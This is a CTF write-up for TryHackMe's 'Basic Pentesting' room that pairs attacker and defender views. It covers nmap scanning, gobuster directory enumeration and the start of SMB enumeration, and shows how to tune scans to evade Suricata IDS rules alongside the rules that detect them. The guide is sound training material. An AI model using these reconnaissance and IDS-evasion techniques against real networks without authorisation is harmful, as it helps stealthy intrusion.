This writeup is a guide to completing and further understanding the TryHackMe "Basic Pentesting" room.
Activate Javascript to see the navigation bar that should appear on the right hand side of your browser window.-->
This is not a standard writeup, others have done that much better than I could. This guide is my attempt to synthesise both the attacker and defender mindsets. As I am still learning, feel free to send me questions on Discord or by email.
This guide requires you to have a small amount of experience with the Linux terminal, THM have a brilliant guide here.
The terms "Red Team" and "Blue Team" throughout this guide are meant as general perspectives on security. A "Red Team" perspective will be on the attacking side and a "Blue Team" perspective is from the complementary defending side. Nether one is better, they are only sides on the same security coin.
This writeup doesn't have a TL; DR, however if you just want to know how to get the flags follow the "Red Team" tasks. The "Blue Team" and "Wily Red/Blue Team" sections are for further reading and understanding, and are not mandatory to solve the CTF. You do not have to follow along with the supplemental tasks, they are there to get you thinking differently about how to approach a CTF and hopefully a real engagement one day.
We will focus on one task and attempt to cover it thoroughly in each guide. This guide will look into the recon phase of the Cyber Kill chain. Recon encompasses many things, we will only focus on nmap
and it's detection and obfuscation today.
For more explanation on shell commands Explain Shell is an excellent resource if you are just starting out. For example you can search something like https://explainshell.com/explain?cmd=sudo+nmap+-p-+-A+-sS+-vv+10.10.71.104+-oN+tcpAllScan.10.10.71.104.nmap
Disclaimer; all external resources linked in this guide are OUT OF SCOPE, the only item in scope is your deployed THM instance.
1.1 Deploy the machine and connect to our network
THM connection guide can be found here
1.2 Find the services exposed by the machine
(AUTHER HINT use an nmap scan to look for the open ports)
Red Team
Recon with nmap
Replace TARGET_IP with the THM IP address of your target. Should be something like 10.10.71.X
whatever IP address your target VM has.
sudo nmap -p- -A -sS -vv TARGET_IP -oN tcpAllScan.TARGET_IP.nmap
Tool and flag explanation
If you are new to nmap
please see this brilliant room on THM that explains in more detail how to use it.
For more explanation run man nmap
this will bring up the manual page for nmap
, similarly man sudo
will bring up the manual page for sudo
. To exit press the Q
key. To search for key words in the manual page press the /
key and type what you'd like to search for and hit enter.
sudo
Linux best practise is to not run as the root "user" but use sudo
or equivalent to temporarily grant a process higher privileges on request. sudo
without another user will default to the root "user".
nmap
The process we want to start, passed as an argument to sudo.
-p-
This is the port flag for nmap, here we are saying all 65,535 ports, denoted by the highfin. nmap will default to a TCP scan unless directed to use UDP.
-A
This flag is the aggressive tests flag, if a port is found to be open nmap will run tests against it to determine what service is running on the port.
-sS
Commonly referred to as a "stealth scan", with modern monitoring it's not really stealth. How I remember it is 'scan SYN'
-vv
The verbose flag used to get more information during the scan, like progress.
TARGET_IP
The target IP address to scan.
-oN tcpAllScan.TARGET_IP.nmap
The output flag used to output the results to a file, it's best practise to output any scan to a file as you don't need to scan the targets again. The filename, for discoverability I normally save it as a .nmap text file.
Scan results
Results are trimmed with (...) to shorten them, your output will look different.
...
Scanning TARGET_IP [65535 ports]
Discovered open port 8080/tcp on TARGET_IP
Discovered open port 139/tcp on TARGET_IP
Discovered open port 22/tcp on TARGET_IP
Discovered open port 445/tcp on TARGET_IP
Discovered open port 80/tcp on TARGET_IP
Discovered open port 8009/tcp on TARGET_IP
Completed SYN Stealth Scan at 12:06, 11.81s elapsed (65535 total ports)
...
Nmap scan report for TARGET_IP
Host is up, received reset ttl 63 (0.021s latency).
Scanned at 2022-06-05 12:05:50 BST for 38s
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
| ssh-rsa AAAAB...DP/vd
| 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
| ecdsa-sha2-nistp256 AAAA...v9eZw=
| 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
|_ssh-ed25519 AAAA...1wU
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open ajp13 syn-ack ttl 63 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http syn-ack ttl 63 Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/9.0.7
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
...
Uptime guess: 198.840 days (since Thu Nov 18 14:57:30 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: basic2
| NetBIOS computer name: BASIC2\x00
| Domain name: \x00
| FQDN: basic2
|_ System time: 2022-06-05T07:06:27-04:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 48320/tcp): CLEAN (Couldn't connect)
| Check 2 (port 4395/tcp): CLEAN (Couldn't connect)
| Check 3 (port 57578/udp): CLEAN (Failed to receive data)
| Check 4 (port 24308/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| BASIC2<00> Flags: <unique><active>
| BASIC2<03> Flags: <unique><active>
| BASIC2<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
| Statistics:
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| smb2-time:
| date: 2022-06-05T11:06:27
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 20.41 ms 10.11.0.1
2 20.54 ms TARGET_IP
...
Nmap done: 1 IP address (1 host up) scanned in 40.47 seconds
Raw packets sent: 65659 (2.893MB) | Rcvd: 65611 (2.628MB)
Results explanation
As you can see there is quite a bit going on here. I like to break it down to individual ports. Normally I extract what is running on the port and what version is running, and any other juicy details. After enough scans you will be able to pick out the signal from the noise.
SSH
Discovered open port 22/tcp on TARGET_IP
OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
Port 22 is normally reserved for SSH, nowadays SSH is quite OS agnostic but older machines running SSH would normally indicate a Linux host.
- The target is a Linux machine, in this case Ubuntu
- The version of Ubuntu is most probably Xenial (Ubuntu 16.04)
- There are CVEs affecting this version of SSH (a rabbit hole possibly worth exploring later)
Web
Discovered open port 80/tcp on TARGET_IP
Apache httpd 2.4.18 ((Ubuntu))
Port 80 is normally reserved for HTTP web traffic.
- It confirms the server is running Ubuntu Linux.
- It is hosting a webpage
- It's running Apache httpd version 2.4.18 (no major vulnerabilities are disclosed for this version)
- The version of Apache is quite old (maybe other packages on the machine are also old?)
Samba
Discovered open port 139/tcp on TARGET_IP
Discovered open port 445/tcp on TARGET_IP
Samba smbd 4.3.11-Ubuntu
Ports 445 and 139 are normally reserved for samba so nmap
has been able to illuminate this nicely
- The machine as well as being a 'website' is also hosting files to share (with Windows hosts most probably as if it was for Linux hosts it would have been FTP, SFTP(SSH File Transfer Protocol), NFS, etc.)
- It would be worth further enumerating this share to see if there are any user names or shares exposed.
- There is an exploit for RCE available for this version but it would need to be tested (anouther rabbit hole)
Web Admin - Tomcat
Discovered open port 8080/tcp on TARGET_IP
Apache Tomcat 9.0.7
Port 8080 is normally reserved for administrative web services. In this case Apache Tomcat.
- Exposing port 8080 could indicate this is a development environment (less security controls for us to worry about)
- There are some exploits available (in this case it's a DOS not useful for us right now)
Web Admin - Jserv
Discovered open port 8009/tcp on TARGET_IP
Apache Jserv (Protocol v1.3)
This port is normally reserved for Apache Jserv
- This version of jsrv is vulnerable to an exploit (a rabbit hole possibly worth exploring after all the enumeration is done)
The fuller picture
After the nmap
scan we can gather a few key pieces of information
- This host probably hasn't been updated in a while
- It is likely a development machine
- It is hosting files (could have useful information in them)
- SSH is open to log in for access
Blue Team (supplemental)
Find the services exposed by the machine
For a detailed explanation of the LAB setup please view this blog post (TBD). I won't be enumerating the exact THM machines but will run similar hosts internally. This is done to allow for easy monitoring and installation of security products, it has the added bonus of more accurately replicating a real engagement (your target isn't just going to hand over their machines to you, will they?).
Enumeration is the name of the game early on in the Cyber Kill Chain so I'll will look out for suspicious network connections to the VM. To do this I've rushed out and bought a firewall, it's fancy it even has IDS/IPS (intrusion detection system / intrusion prevention system). In this case it's just an Opnsense firewall on a VM in front of what would be the web server. It's Opnsense because I'm no longer friends with pfSense.
A crash course in Firewalls and Intrusion Detection Systems (IDS)
A firewalls main objective would be to ensure network segregation. In this example we are hosting a webserver so we will allow all connections to the machine (as if in a DMZ (De-Militarized Zone)), the way I'm doing it is not recommended and is only to demonstrate how connections could be monitored.
The IDS is responsible for detecting potentially harmful activity; either on the network or on the host itself. See Intrusion detection system for further info.
For more information on firewalls see this brilliant THM room.
The humble nmap
scan as mentioned before.
sudo nmap -p- -A -sS -vv TARGET_IP -oN tcpAllScan.TARGET_IP.nmap
This scan is picked up quite nicely by Opnsense.
In this instance Opnsense is running with IDS (intrusion detection system) enabled and rule sets pertinent to scanning.
Opnsense uses Suricata as an intrusion detection engine which is outside the scope of this writeup, if you would like to know more see this THM (not available yet as of 11/06/22) room for Suricata.
These are the alerts generated by the scan within the Opnsense IDS page (61 in total).

~83% (50 of 60) of all the activity is related to the "Nmap User-Agent"
The remaining alerts are to do with connections to from the outside to monitored ports, and the enumeration of the SMB share.
Wily Red Team (supplemental)
Find the services exposed by the machine
Based on the Blue Team analysis we have a few avenues of obfuscation to work with. Lets remember the two main items flagged by the firewall were the Nmap user-agent and connections to monitored ports.
Nmap User-Agent
First a slight bit of background, user-agents are used to announce the browser to a webpage (to ensure compatibility and some customization, phone webpage vs desktop webpage, etc). Modern WAFs(Web Application Firewalls) will normally block your access if it detects a non-standard user-agent.
For a more intuitive understanding of what's going on I'll use curl
to demonstrate.
curl
is basically a terminal version of a browser (I know w3m, Lynk, etc. this is just for illustration).
The process can be seen by the grater than and less than symbols>
indicates part of a request to the website<
indicates part of a response*
indicates verbose information from curl
itself
curl -vv http://TARGET_IP
* Trying TARGET_IP:80...
* Connected to TARGET_IP (TARGET_IP) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.0.0.13
> User-Agent: curl/7.83.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 08 Jun 2022 13:21:12 GMT
< Server: Apache/2.4.18 (Unix)
< Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
< Accept-Ranges: bytes
< Content-Length: 45
< Content-Type: text/html
<
<html><body><h1>It works!</h1></body></html>
* Connection #0 to host TARGET_IP left intact
You can see the "User-Agent" in the request body of the curl
request, in this case it's User-Agent: curl/7.83.0
the version of curl
currently installed on my Kali machine.
The nmap
flag --script-args http.useragent="XYZ"
will allow us to temporarily change the user agent to something more innocuous.
TCP connection flags
The second item to obfuscate would be how nmap
initiates the port scan connections, in the command we set the -sS
flag (this flag will initiate a SYN Scan). See below for how the scan works.
Diagram from https://nmap.org

For more info view the page
This leads to the question, how does Opnsense (Suricata) detect this activity? Simple it looks out for the SYN flag set in any packets destined to the ports it's setup to monitor (at least the default rules are, in IDS mode).
Example Suricata rule
"ET SCAN Suspicious inbound to PostgreSQL port 5432" with a SID of 2010939
alert tcp $EXTERNAL_NET any -> $HOME_NET 5432 (msg:"ET SCAN Suspicious inbound to PostgreSQL port 5432"; flow:to_server; flags:S; threshold: type limit, count 5, seconds 60, track by_src; reference:url,doc.emergingthreats.net/2010939; classtype:bad-unknown; sid:2010939; rev:3; metadata:created_at 2010_07_30, former_category HUNTING, updated_at 2018_03_27;)
An explanation can be found here.
The main target of obfuscation is the alert is using the flag:S
matcher. If any "normal" TCP connection is made to port 5432 from the outside would the alert will fire. Based on the three way TCP handshake the first packet flag that should be sent is SYN, since in this case the port is closed the device responds with a RST, ACK to close the connection.
However connections with nmap
can be initiated with different flags, in this case the NULL flag -sN
i.e. no flags at all, the machine responds with a RST as the port is closed, as we'd expected but we didn't start the connection with a SYN flag.
More info on the -sN
flag can be found here.
Bringing it all together
If we scan the target now with the following scan (with the user-agent changed) we should be less detectable.
Identify Open Ports
We will scan the top 1000 most common ports with the -sN
flag set.
sudo nmap --top-ports=1000 -sN -vv TARGET_IP -oN tcpAllScanSTELTH.TARGET_IP.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-08 14:32 BST
Initiating ARP Ping Scan at 14:32
Scanning 10.0.0.13 [1 port]
Completed ARP Ping Scan at 14:32, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:32
Completed Parallel DNS resolution of 1 host. at 14:32, 0.01s elapsed
Initiating NULL Scan at 14:32
Scanning 10.0.0.13 [1000 ports]
Completed NULL Scan at 14:32, 1.65s elapsed (1000 total ports)
Nmap scan report for 10.0.0.13
Host is up, received arp-response (0.00027s latency).
Scanned at 2022-06-08 14:32:53 BST for 2s
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open|filtered ssh no-response
80/tcp open|filtered http no-response
139/tcp open|filtered netbios-ssn no-response
445/tcp open|filtered microsoft-ds no-response
8009/tcp open|filtered ajp13 no-response
8080/tcp open|filtered http-proxy no-response
MAC Address: 08:00:27:A1:B8:38 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.10 seconds
Enumerate Open Ports
Now let's see what's really running on these ports.
Using the -T
,-sV
,-sC
, specific port numbers (without SMB as we will enumerate it later on), and a custom User-Agent, we can get a lot of detail from the target.
sudo nmap -T1 -p22,80,8009,8080 -sV -sC --script-args http.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Safari/537.36" -vv TARGET_IP -oN tcpAllScanSTELTH.TARGET_IP.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-08 14:54 BST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:54
...
Discovered open port 8080/tcp on 10.0.0.13
Discovered open port 80/tcp on 10.0.0.13
Discovered open port 22/tcp on 10.0.0.13
Discovered open port 8009/tcp on 10.0.0.13
Completed SYN Stealth Scan at 14:55, 60.08s elapsed (4 total ports)
Initiating Service scan at 14:55
...
Nmap scan report for 10.0.0.13
Host is up, received arp-response (0.00049s latency).
Scanned at 2022-06-08 14:54:43 BST for 64s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dd:e4:08:d7:de:54:02:2a:49:33:bf:60:df:a3:eb:ee (RSA)
| ssh-rsa AAA...KSh
| 256 6f:16:8d:be:d1:4e:d6:11:d1:dd:ef:fe:e8:3b:ee:cd (ECDSA)
| ecdsa-sha2-nistp256 AAA...A=
| 256 26:a8:ad:8f:ef:13:97:b6:67:12:71:11:24:dc:c7:33 (ED25519)
|_ssh-ed25519 AA...td
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.18 ((Unix))
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Unix)
8009/tcp open ajp13 syn-ack ttl 64 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http syn-ack ttl 64 Apache Tomcat 9.0.7
|_http-title: Apache Tomcat/9.0.7
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:A1:B8:38 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
...
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.44 seconds
Reminder this isn't against the THM machine (it's a recreation I've put together locally)
The results will not look the same as scanning the THM machine.
The scan isn't perfect as SYN access to the SSH port does get alerted on, but going from ~60 alerts to just one is pretty good. One major assumption is that the OS being scanned by this is RFC 793 compliant, meaning this scan won't work well against Windows targets.
There are many ways this could be more sneaky, one would be to write a custom port scanning implementation in something like Scapy, don't enumerate the services as much (not really an option), further tamper with the signatures that Suricata is expecting, etc.
Wily Blue Team (supplemental)
Find the services exposed by the machine
Building on the "Blue Team" section I am going to expand network based detection. In a future guide we will use a Security Onion instance to monitor network evets (With Suricata and Zeek). Opnsense will be running in Intrusion Detection (IDS) mode. IPS mode might not work properly on virtual NICs.
No configuration changes on the host (the internally simulated one) will be made. No firewall rules will be used either, the host will still remain open on all ports, if the Suricata detection engine deems traffic to be offensive it will be alerted. If this was a real network logs would be shipped from the firewalls to the central SIEM, however for demonstrative reasons alerts raised on the firewall will remain there.
Rules rule
First I'm going to enable more rules within the default distributed emerging threats (ET) rulesets on the firewall. Pertinent enabled rulesets:
ET open/emerging-netbios
ET open/emerging-scan
Each ruleset ships with a subset of rules disabled. For example the "emerging-scan" ruleset has a rule to detect fragmented nmap
scans. Keep in mind these are the free rules, you can pay for a set of rules that have more detections. The SIDs; 2000543, 2000544, 2000545, 2000546 are responsible for detecting fragmented scans. An example is SID 2000544 ("ET SCAN NMAP -f -sN"), this scan is designed to detect fragmented (and non-fragmented) scans with no flags set. However there is a small issue with the default rule, it expects a window size of 2048, this means the default nmap
scan within the internal network will slip under this window size. After fixing the rule it can now can detect -sN
and -f -sN
scans.
Scan
sudo nmap -p- -f -sN -vv TARGET_IP
...
PORT STATE SERVICE REASON
22/tcp open|filtered ssh no-response
80/tcp open|filtered http no-response
139/tcp open|filtered netbios-ssn no-response
445/tcp open|filtered microsoft-ds no-response
8009/tcp open|filtered ajp13 no-response
8080/tcp open|filtered http-proxy no-response
...
Detection

DeFAULTs
The customized "ET SCAN NMAP -f -sN" rule (to fix the window size issue):
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -f -sN window 1024"; fragbits:!M; dsize:0; flags:0,12; ack:0; window:1024; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000544; classtype:attempted-recon; sid:1000002; rev:1; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
There are a few more areas to obfuscate. The dsize
keyword is the next area we can attack. nmap
has an option to pad packets with random data --data-langth
, making them no longer dsize:0
. If I try the same scan as above with this option set we should not be detected.
Scan
sudo nmap -p- -sN --data-length 42 -vv TARGET_IP
PORT STATE SERVICE REASON
22/tcp open|filtered ssh no-response
80/tcp open|filtered http no-response
139/tcp open|filtered netbios-ssn no-response
445/tcp open|filtered microsoft-ds no-response
8009/tcp open|filtered ajp13 no-response
8080/tcp open|filtered http-proxy no-response
Detection

Detecting the wily red team
Scan
sudo nmap -T1 -p22,80,8009,8080 -sV -sC --script-args http.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Safari/537.36" -vv TARGET_IP
Detection

We can now detect the -sV
and slow -sS
sections of this scan. More web based detections will be investigated in a future guide.
The duality of obfuscation
Since we know that by fixing the built in "ET SCAN NMAP -f -sN" and related scans we will be detected. Its worth reflecting on a few things;
- What do we reveal by using non-standard
nmap
scans - Where is our target located? Internally? Externally?
- If externally scans are a part of the internet and are expected so blending in with the crowed would be most advantageous.
- If internally then
nmap
or any scan activity would be highly anomalous and would trigger an investigation so stealth would be of the up most import. - What are the capabilities of our target?
- What are our targets resources?
1.3 What is the name of the hidden directory on the web server(enter name without /)?
(AUTHER HINT use dirsearch/dirbuster to find the hidden directories.)
Red Team
Web Directory enumeration with Gobuster
Replace TARGET_IP with your target IP
gobuster dir -t 10 -u http://TARGET_IP/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -o common.TARGET_IP.http
If you are missing the seclist
package it can be installed with:
sudo apt install seclists
More info on seclist
can be seen here
Run gobuster -h
to get help with the tool (it doesn't have a man
page)
Tool and flag explanation
gobuster
Gobuster is a web request engine, it is used to brute force webpage URI or directories. Based on the websites response it can make educated guesses as to what's on the website, i.e. a 404
response code would indicate that the requested resource isn't available, where as a 301
redirect would indicate the requested resource is on the server, just in a different castle place. And of course a response code of 200
would indicate the resource is there. More detailed explanation of HTTP response codes can be found here
dir
The dir augment tells gobuster to use directory/file enumeration mode.
-t 10
This flag tells gobuster to use the default (10) threads. In Linux processes can have threads, a subprocess of the parent process that can execute slightly different actions but still share the parent processes resources, in this case we can see that the first ~10 threads will request the following pages:
head -n 10 /usr/share/seclists/Discovery/Web-Content/common.txt
.bash_history
.bashrc
.cache
.config
.cvs
.cvsignore
.forward
.git
.git-rewrite
.git/HEAD
So the process tree would look something like this
Gobuster
Thread 1 GET http://10.10.71.104/.bash_history
Thread 2 GET http://10.10.71.104/.bashrc
...
Thread 9 GET http://10.10.71.104/.git-rewrite
Thread 10 GET http://10.10.71.104/.git/HEAD
These pages will be requested and the threads will wait for the server to respond, in this case the server will respond with 403
or 404
almost immediately for all these pages telling the process to spawn 10 new threads with the next 10 resources to request, et cetera, until the file is exhausted of directories to request, all the threads will be finished and the parent process will exit. Linux multithreading is outside the scope of this guide, but if you'd like further info "How Linux Works 3rd edition" has some helpful info (or a >insert your favourite search engine here< search).
-u http://TARGET_IP/
This tells gobuster
what the target URL is, in this case use the HTTP method to access the IP address TARGET_IP and start at the root of the web directory (we assume it's here /). Implicit in this is use port 80 the default port for HTTP traffic.
-w /usr/share/seclists/Discovery/Web-Content/common.txt
Tells gobuster to use the common.txt seclist for the directory enumeration. I normally start with common and work my way to the larger directory lists. Good lists I've found in the CTF setting are common.txt, quickhits.txt, big.txt or directory-list-2.3- small or medium or big .txt
-o common.TARGET_IP.http
Is the output flag to save the results in a file, always be saving the results.
Web enumeration results.
gobuster dir -t 10 -u http://TARGET_IP/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -o common.TARGET_IP.http
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://TARGET_IP/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/06/05 12:53:09 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 296]
/.htpasswd (Status: 403) [Size: 296]
/.hta (Status: 403) [Size: 291]
/development (Status: 301) [Size: 318] [--> http://TARGET_IP/development/]
/index.html (Status: 200) [Size: 158]
/server-status (Status: 403) [Size: 300]
===============================================================
2022/06/05 12:53:19 Finished
===============================================================
Status code explanations
404
Implicitly hidden from the output any request with a response 404
won't be displayed as it's not being served by the website.
403
is a forbidden response (slightly different to 401
)
So the following pages are a no-no based on the http code
/.htaccess
/.htpasswd
/.hta
/server-status
200
is the OK responce code, the server will present the requested resource to the browser. In this case only the
/index.html
is accessible with a 200
from the common.txt list (there may be more pages but start small and work towards larger sec lists if further enum is required)
301
Luckily for us port 80 is serving a locatable resource "/development", however it's located somewhere else denoted by the 301
response in our case it's here "/development/" (notice the last forward slash).
For a more intuitive understanding of what's going on I'll use curl
to demonstrate.
Sending a request to the /development directory.
The process can be seen by the grater than and less than symbols (<
or >
)>
indicates a request to the website<
indicates a response*
indicates verbose information from curl itself
curl -v http://TARGET_IP/development
* Trying TARGET_IP:80...
* Connected to TARGET_IP (TARGET_IP) port 80 (#0)
> GET /development HTTP/1.1
> Host: TARGET_IP
> User-Agent: curl/7.83.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 05 Jun 2022 12:28:40 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Location: http://TARGET_IP/development/
< Content-Length: 318
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://TARGET_IP/development/">here</a>.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at TARGET_IP Port 80</address>
</body></html>
* Connection #0 to host TARGET_IP left intact
The response line telling us it's moved
HTTP/1.1 301 Moved Permanently
The line telling us where it is now
Location: http://TARGET_IP/development/
Tells us it's moved and where to find it. Modern browsers will automatically follow this redirect and land you on the correct page (This is kind of how airport/coffee shop WiFi is able to redirect you to the appropriate landing page to log in)
curl
with redirection
curl -L -v http://TARGET_IP/development
* Trying TARGET_IP:80...
* Connected to TARGET_IP (TARGET_IP) port 80 (#0)
> GET /development HTTP/1.1
> Host: TARGET_IP
> User-Agent: curl/7.83.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 05 Jun 2022 12:31:50 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Location: http://TARGET_IP/development/
< Content-Length: 318
< Content-Type: text/html; charset=iso-8859-1
<
* Ignoring the response-body
* Connection #0 to host TARGET_IP left intact
* Issue another request to this URL: 'http://TARGET_IP/development/'
* Found bundle for host: 0x55e10203bd60 [serially]
* Can not multiplex, even if we wanted to
* Re-using existing connection #0 with host TARGET_IP
* Connected to TARGET_IP (TARGET_IP) port 80 (#0)
> GET /development/ HTTP/1.1
> Host: TARGET_IP
> User-Agent: curl/7.83.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 05 Jun 2022 12:31:50 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 1131
< Content-Type: text/html;charset=UTF-8
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
...
</html>
* Connection #0 to host 10.10.71.104 left intact
Adding the -L
flag to curl
makes it follow redirections.
Requesting the page in a browser will look like this.

Since there are only two text files I will go ahead and download them locally for further study.
wget -r -l1 --no-parent http://TARGET_IP/development/
This will wget all the files in the /development/ directory and put them in a folder named the TARGET_IP in your current working directory.
Tool and flag explanation
wget
Is a Linux command line utility for downloading content from websites
-r
Tells wget to download things recursively
-l1
Sets the recursion depth to 1
--no-parent
Tells wget to start at the /development/ directory and not to traverse up the directory structure to /.
http://TARGET_IP/development/
Is the target to download the files from.
Once in the downloaded directory a ls
to reveal the goods (You'll have to cd
your way there)
ls
dev.txt index.html ...[removed]... j.txt
Now read the files.
less dev.txt
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J
dev.txt (END)
Press Q
to exit (notice I'm not using cat
or concatenate to pipe the contents of documents to the terminal, with unknown size files it's best to first open them with an text viewer, some good examples are less
, more
, most
or some good text editors are nano
, emacs
, vim
). The terminal can get funky if you cat
files with non-ASCII charters.
Based on the contents of this file a few assumptions made earlier can be vindicated.
- This is indeed a development environment
- Samba is indeed being used
We can also now make an educated guess at the number of users on this system, we have "K", and "J" (Kay and Jay are the leads in Men in Black, could be a rabbit hole).
less j.txt
For J:
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.
-K
j.txt (END)
It seems "J" doesn't have the best password hygiene.
Blue Team (supplemental)
What is the name of the hidden directory on the web server(enter name without /)?
gobuster dir -t 10 -u http://TARGET_IP/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -o common.txt
The above web probe is detected by Opnsense (14 alerts).

Opnsense IDS is detecting access to non-standard web directories like trying to access "/.htaccess". The IDS also alerts on 403
http code responses. In a future guide we will look into some of the other options Suricata has to detect web based recon.
1.4 User brute-forcing to find the username & password
No answer needed
1.5 What is the username?
(AUTHER HINT what about using SMB to find a username?)
Red Team
SMB Enum
Moving onto SMB enumeration we can use enum4linux
Replace TARGET_IP with your target IP
enum4linux -a TARGET_IP
Tools and flag explanation
enum4linux
This tool allows for Linux hosts to enumerate nominally Windows SMB shares. Hence the name.
-a TARGET_IP
Do all the tests against the target IP.
Tool response
